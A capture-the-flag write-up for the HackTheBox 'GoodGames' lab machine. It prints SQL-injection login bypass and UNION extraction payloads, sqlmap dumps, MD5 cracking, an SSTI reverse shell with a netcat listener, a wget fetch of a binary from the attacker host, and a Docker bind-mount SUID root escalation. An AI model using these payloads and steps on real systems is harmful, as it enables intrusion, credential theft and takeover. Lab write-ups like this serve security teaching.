HackTheBox GoodGames
Writeup for HackTheBox GoodGames
Machine Synopsis
GoodGames is an Easy linux machine that showcases the importance of sanitising user inputs in web applications to prevent SQL injection attacks, using strong hashing algorithms in database structures to prevent the extraction and cracking of passwords from a compromised database, along with the dangers of password re-use. It also highlights the dangers of using render_template_string
in a Python web application where user input is reflected, allowing Server Side Template Injection (SSTI) attacks. Privilege escalation involves docker hosts enumeration and shows how having admin privileges in a container and a low privilege user on the host machine can be dangerous, allowing attackers to escalate privileges to compromise the system. (Source)
Key exploitation techniques:
- SQL Injection (time-based blind) for database enumeration and credential extraction
- Password reuse
- Server-Side Template Injection (SSTI) for RCE
- Docker container enumeration and bind-mount exploitation
- SUID binary creation for root access
Enumeration
1
2
3
4
5
6
$ nmap -sC -sV 10.10.11.130
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
The scan identified Apache HTTPD on port 80, indicating a Python Flask application.
dirb
was used for directory enumeration.
1
2
3
4
5
6
7
8
$ dirb http://10.10.11.130 /usr/share/dirb/wordlists/common.txt
...
+ http://10.10.11.130/blog (CODE:200|SIZE:44212)
+ http://10.10.11.130/forgot-password (CODE:200|SIZE:32744)
+ http://10.10.11.130/login (CODE:200|SIZE:9294)
+ http://10.10.11.130/profile (CODE:200|SIZE:9267)
+ http://10.10.11.130/signup (CODE:200|SIZE:33387)
...
The login
and signup
pages were noted.
Registering a new account redirected to /profile
.
1
2
3
4
5
6
7
8
9
10
GET /profile HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=.eJw1yzEOgCAMBdC7_Jk4OHbyJoZIgSYFklYm493VwfEN78Kejb2CclTnAG5RFASvYmMrn5ZjNARIAq0BOkrhJB102nzDdLYeG_8H9wO9bRya.YvnU-g.1QzgQMNG2LPeUtsdc83Lp8_gKLQ
Upgrade-Insecure-Requests: 1
Attempts to edit profile details resulted in a 500 INTERNAL SERVER ERROR
.
Exploitation
SQL Injection & Credential Disclosure
The login page was tested for SQL Injection. A time-based blind SQLi was identified using ' or 1=1-- -
.
1
2
3
4
5
6
POST /login HTTP/1.1
Host: 10.10.11.130
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
email=%27+or+1%3D1--+-&password=
This successful bypass redirected to /profile
, confirming the vulnerability.
Manual SQLi (UNION SELECT) was then used to enumerate database structure and extract credentials.
First, the number of columns was determined.
1
2
3
4
5
6
7
8
9
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2c4--+-&password=
# Response snippet
...
<h2 class="h4">Welcome 4</h2>
...
' union select 1,2,3,4-- -
The database had 4 columns. The database name was extracted.
1
2
3
4
5
6
7
8
9
10
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cdatabase%28%29--+-&password=
# Response snippet
...
<h2 class="h4">Welcome main</h2>
...
' union select 1,2,3,database()-- -
The database name was main
. Tables in the main
database were enumerated.
1
2
3
4
5
6
7
8
9
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28table_name%2c+%22%2f%22%29+from+information_schema.tables+where+table_schema+%3d+%27main%27--+-&password=
# Response snippet
...
<h2 class="h4">Welcome blog/blog_comments/user/</h2>
...
' union select 1,2,3,concat(table_name, "/") from information_schema.tables where table_schema = 'main'-- -
The user
table was identified. Its columns were enumerated.
1
2
3
4
5
6
7
8
9
# Request
POST /login HTTP/11
...
email=%27+union+select+1%2c2%2c3%2cconcat%28column_name%2c+%22%2f%22%29+from+information_schema.columns+where+table_schema+%3d+%27main%27+and+table_name+%3d+%27user%27--+-&password=
# Response snippet
...
<h2 class="h4">Welcome email/id/name/password/</h2>
...
' union select 1,2,3,concat(column_name, "/") from information_schema.columns where table_schema = 'main' and table_name = 'user'-- -
Finally, data from the user
table was extracted.
1
2
3
4
5
6
7
8
9
10
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28id%2c+%22%3a%22%2c+name%2c+%22%3a%22%2c+email%2c+%22%3a%22%2c+password%29+from+user--+-&password=
# Response snippet
...
1:admin:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec
2:shiro:shiro@gmail.com:5f4dcc3b5aa765d61d8327deb882cf99
...
' union select 1,2,3,concat(id, ":", name, ":", email, ":", password) from user-- -
This revealed admin:admin@goodgames.htb
with hash 2b22337f218b2d82dfc3b6f77e7cb8ec
and shiro:shiro@gmail.com
with hash 5f4dcc3b5aa765d61d8327deb882cf99
.
SQLMap Method (Alternative)
sqlmap
could automate this process. A request file (login_request.txt
) was created.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ cat login_request.txt
POST /login HTTP/1.1
Host: 10.10.11.130
...
email=shiro&password=password
$ sqlmap -r login_request.txt --batch
...
[INFO] the back-end DBMS is MySQL
...
$ sqlmap -r login_request.txt --batch --dbs
...
available databases [2]:
[*] information_schema
[*] main
...
$ sqlmap -r login_request.txt --batch -D main --tables
...
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
...
$ sqlmap -r login_request.txt --batch -D main -T user --dump
...
[INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
Database: main
Table: user
[2 entries]
+----+-------+---------------------+---------------------------------------------+
| id | name | email | password |
+----+-------+---------------------+---------------------------------------------+
| 1 | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
| 2 | shiro | shiro@gmail.com | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+----+-------+---------------------+---------------------------------------------+
The admin
password hash 2b22337f218b2d82dfc3b6f77e7cb8ec
was identified as MD5 by hash-identifier
and cracked using john
(format Raw-MD5
) with rockyou.txt
.
1
2
3
4
5
6
7
8
9
$ hash-identifier
...
HASH: 2b22337f218b2d82dfc3b6f77e7cb8ec
Possible Hashs:
[+] MD5
...
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt -format=Raw-MD5
...
superadministrator (?)
The password superadministrator
was found.
Server-Side Template Injection (SSTI) for RCE (root in Docker)
A hidden login page was discovered by clicking a gear icon on the admin’s profile page, leading to internal-administration.goodgames.htb
. This subdomain was added to /etc/hosts
.
1
2
3
4
$ cat /etc/hosts
...
10.10.11.130 goodgames.htb internal-administration.goodgames.htb
...
Take note that the web server might be using (Python) Flask!
Login to http://internal-administration.goodgames.htb
with admin:superadministrator
was successful.
The /settings
page allowed changing general information. The Server
header in the response confirmed Werkzeug/2.0.2 Python/3.6.7
, indicating a Flask application.
# Response snippet from GET /settings
HTTP/1.1 200 OK
Server: Werkzeug/2.0.2 Python/3.6.7
Content-Type: text/html; charset=utf-8
...
Testing for SSTI by inputting 0
into the “Full Name” field and saving, the displayed name updated to 1
, confirming SSTI.
A working SSTI payload from PayloadAllTheThings was used to gain RCE: ``.
A netcat
listener was set up on the attacking machine.
1
2
$ nc -nlvp 1234
listening on [any] 1234 ...
The SSTI payload was injected into the “Full Name” field and saved.
1
2
3
4
5
6
# Reverse shell received
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.130] 48710
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
root
This granted a reverse shell as root
inside a Docker container. The hostname 3a453ab39d3d
confirmed the containerized environment.
Privilege Escalation
Docker Host Privilege Escalation (augustus)
Enumeration within the Docker container revealed a /home/augustus
directory.
1
2
3
4
5
6
root@3a453ab39d3d:/backend# cd /home
root@3a453ab39d3d:/home# ls -la
total 12
drwxr-xr-x 1 root root 4096 Nov 5 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
drwxr-xr-x 2 1000 1000 4096 Dec 2 2021 augustus
Crucially, augustus
was not present in the container’s /etc/passwd
. The mount
command confirmed /home/augustus
was a bind mount from the host.
1
2
3
root@3a453ab39d3d:/home/augustus# cat /etc/passwd | grep augustus # No output
root@3a453ab39d3d:/home/augustus# mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
The Docker host’s IP was identified by inspecting the container’s network interface (eth0
) and scanning the local subnet with a static nmap
binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@3a453ab39d3d:/home/augustus# ip addr
...
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
...
# On attacking machine, download static nmap
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap
# On container, download nmap and scan subnet
root@3a453ab39d3d:/home/augustus# wget http://10.10.14.14/nmap
root@3a453ab39d3d:/home/augustus# chmod +x nmap
root@3a453ab39d3d:/home/augustus# ./nmap 172.19.0.2/24
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
...
The scan (and common Docker networking patterns) indicated 172.19.0.1
was the Docker host, with SSH (22/tcp) and HTTP (80/tcp) open.
An SSH connection was attempted to the host as augustus
using the superadministrator
password (password reuse from the web admin). A proper TTY was spawned first using python3 -c 'import pty;pty.spawn("/bin/bash")'
.
1
2
3
4
5
6
7
8
9
root@3a453ab39d3d:/home/augustus# python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
...
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator
...
augustus@GoodGames:~$
SSH access to the host as augustus
was successful. sudo -l
showed no privileges.
SUID Binary Creation (Root)
The nmap
binary previously downloaded into /home/augustus
(which is bind-mounted) was owned by root
on the host, suggesting a potential ownership issue. This allowed for a SUID binary creation attack.
/bin/bash
was copied to the current directory (/home/augustus
).
1
2
3
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls
bash nmap user.txt
From the root shell in the Docker container, the ownership of the copied bash
binary in the bind-mounted /home/augustus
was changed to root
, and the SUID bit was set.
1
2
3
4
5
6
7
8
9
10
# Exit augustus SSH session
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.
# Back in Docker root shell
root@3a453ab39d3d:/home/augustus# ls
bash nmap user.txt
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod +s bash
Finally, a new SSH connection was made to the host as augustus
. The SUID bash
binary was then executed with the -p
flag to preserve privileges, granting a root shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh augustus@172.19.0.1
augustus@172.19.0.1's password: superadministrator
...
augustus@GoodGames:~$ ls -la
...
-rwsr-sr-x 1 root root 1234376 Aug 15 15:01 bash
...
augustus@GoodGames:~$ ./bash -p
bash-5.1# whoami
root
bash-5.1# cat /home/augustus/user.txt
e950d45708b4f0294a0facc97621ef35
bash-5.1# cat /root/root.txt
4c445d98ed713a143512122ca28a9d5f